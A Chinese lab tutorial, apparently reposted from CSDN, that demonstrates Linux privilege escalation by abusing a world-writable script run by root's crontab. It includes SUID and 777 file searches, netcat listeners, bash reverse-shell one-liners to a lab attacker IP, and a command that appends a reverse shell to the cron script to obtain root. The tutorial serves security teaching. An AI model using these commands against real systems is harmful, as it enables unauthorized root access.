首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - 计划任务提权

  • 25-02-20 14:41
  • 2822
  • 7531
blog.csdn.net

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Linux 计划任务提权原理

Linux 计划任务提权是由于管理员配置不当,导致以 Root 权限运行的计划任务文件可以被低权限用户修改,从而被攻击者利用,导致提权。

假设 Root 用户设置了一个计划任务,但是该任务执行的文件权限没有设置好,比如设置了 777 权限(前两位是不是 7 不重要,主要是第三位是 7 就可以了)或者 SUID 权限之类的,则有可能会被提权。下面这两条命令,可以辅助我们查找这种权限的文件:

  1.  find / -user root -perm -4000 -print 2>/dev/null # 查找 SUID 文件
  2.  find / -perm 777 -print 2>/dev/null              # 查找 777 权限文件

0x0101:知识导入 — 计划任务基础

Linux 中与计划任务相关的命令如下:

  1.  crontab -e  # 编辑计划任务
  2.  crontab -l  # 查看当前用户的计划任务 => 不同用户编辑的计划任务使用该命令无法查看
  3.  crontab -r  # 删除目前的 crontab

Linux 中可以使用如下命令查看存放计划任务的文件:

 ls /etc/cron*

0x0102:知识学习 — Crontab 表达式

对于 Linux 中的计划任务,可以参考下面这个链接去学习:

Linux crontab 命令 | 菜鸟教程Linux crontab 命令 Linux 命令大全 Linux crontab 是 Linux 系统中用于设置周期性被执行的指令的命令。 当安装完成操作系统之后,默认便会启动此任务调度命令。 crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。 注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。 Linux 任务调度的工作主要分为..https://www.runoob.com/linux/linux-comm-crontab.htmlhttps://www.runoob.com/linux/linux-comm-crontab.html

计划任务的定时依赖 Crontab 表达式,好在,有许多在线工具可以辅助你解析或生成 Crontab 表达式,比如下面这个网站:

Cron - 在线Cron表达式生成器通过这个生成器,您可以在线生成任务调度比如Quartz的Cron表达式,对Quartz Cron 表达式的可视化双向解析和生成.https://cron.ciding.cc/https://cron.ciding.cc/

0x02:Linux 计划任务提权环境搭建

实验环境简介

  • 靶机 CentOS7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0201:靶机创建运维脚本

很多 Linux 管理员都会创建运维脚本以辅助自己进行机器的维护,它们经常会将这些运维脚本设置到计划任务中以定期对系统进行检查。

所以,为了还原场景,我们先以 Root 用户的身份登录靶机,创建一个 /os_check.sh 脚本,脚本内容如下:

注意:复现时别把脚本创建到 /root 用户目录下

笔者这里吃亏了,一开始将脚本放到了 /root/os_check.sh ,普通用户根本查看不了 /root 目录下的东西,纵使这个东西拥有 777 权限。

  1.  function os_check() {
  2.      # "系统基础信息"
  3.      #内核信息
  4.      kernel=$(uname -r)
  5.      #操作系统版本
  6.      release=$(cat /etc/redhat-release)
  7.      #主机名称
  8.      hostname=$HOSTNAME
  9.      #当前时间及运行时间
  10.      dateload=$(uptime | awk -F "," '{print $1}')
  11.      # 当前登录用户数
  12.      users=$(uptime | awk -F "," '{print $2}')
  13.      echo -e "\n\033[32m##############   系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txt
  14.      echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
  15.      echo -e "|内核信息:\033[31m       $kernel           \033[0m" >> /tmp/bash_os.txt
  16.      echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
  17.      echo -e "|操作系统版本:\033[31m   $release       \033[0m" >> /tmp/bash_os.txt
  18.      echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
  19.      echo -e "|当前时间及运行时间:\033[31m   $dateload       \033[0m" >> /tmp/bash_os.txt
  20.      echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
  21.      echo -e "|当前登录用户数:\033[31m   $users       \033[0m" >> /tmp/bash_os.txt
  22.      echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
  23.  }
  24.  os_check

创建完成后,我们尝试运行一下,输入下面的命令:

 /os_check.sh

如上,是无法直接运行的,因为我们新创建的 .sh 文件还没有赋予 x 可执行权限。

0x0202:为运维脚本赋予不安全的可执行权限

下面我们开始为该文件赋予权限,问题就出在这里,很多管理员很喜欢用下面这条命令赋予可执行权限(这样赋予会导致任意用户都可以修改这个 .sh 文件):

 chmod 777 /os_check.sh

赋予完可执行权限后,我们再使用 /os_check.sh 重新运行运维脚本,脚本运行成功后会在 /tmp/bash_os.txt 文件中写入系统状态信息:

  1. /os_check.sh # 运行 .sh 脚本
  2. cat /tmp/bash_os.txt # 查看运行结果

如上,证明我们的运维脚本是可以执行的。

0x0203:将运维脚本添加进计划任务中

输入 vim /etc/crontab 命令编辑 crontab 文件(该文件是计划任务文件,只不过写入该文件中的计划任务所有用户都可以直接查看),写入如下内容:

*/1 * * * * root /os_check.sh  # 每分钟以 root 身份执行一次 os_check.sh 脚本

接下来我们只需要等待一分钟后查看 /tmp/bash_os.txt 文件中是否有新的信息,即可验证我们的计划任务是否添加成功:

如上,系统执行了计划任务。至此,提权环境搭建完毕。若等待一分钟后没有执行,可以使用如下两条命令查看计划任务服务的状态:

  1. service crond status # 查看计划任务服务状态
  2. service crond restart # 重启计划任务

0x03:Linux 计划任务提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看系统计划任务

输入下面的命令,查看系统中已有的计划任务:

cat /etc/crontab

如上,我们发现,系统会每分钟以 root 用户的身份执行一次 /os_check.sh 文件,我们查看一下该文件的权限:

ls -al /os_check.sh

如上,发现该计划任务脚本的权限是 777,即我们普通用户也有权力修改该文件。

0x0303:更改文件内容进行提权

通过前面的信息收集,我们发现了系统中存在一条计划任务,该任务会每分钟以 Root 身份执行一次 /os_check.sh 文件,我们又发现,对于 /os_check.sh 文件,我们具有修改权限。

所以,使用下面的命令,往 /os_check.sh 文件中追加 Bash 反弹连接的内容:

echo "bash -i >& /dev/tcp/192.168.0.136/8888 0>&1" >> /os_check.sh

然后在攻击机中新开一个窗口,输入下面的连接,监听本机 8888 端口,等待计划任务执行:

nc -lvp 8888

等待一分钟后,靶机中的计划任务运行,就会以 Root 权限执行 /os_check.sh 脚本,顺带运行该脚本中我们插入的 Bash 反弹连接代码,直接将 Root 权限移交给攻击机:

Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145494208"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top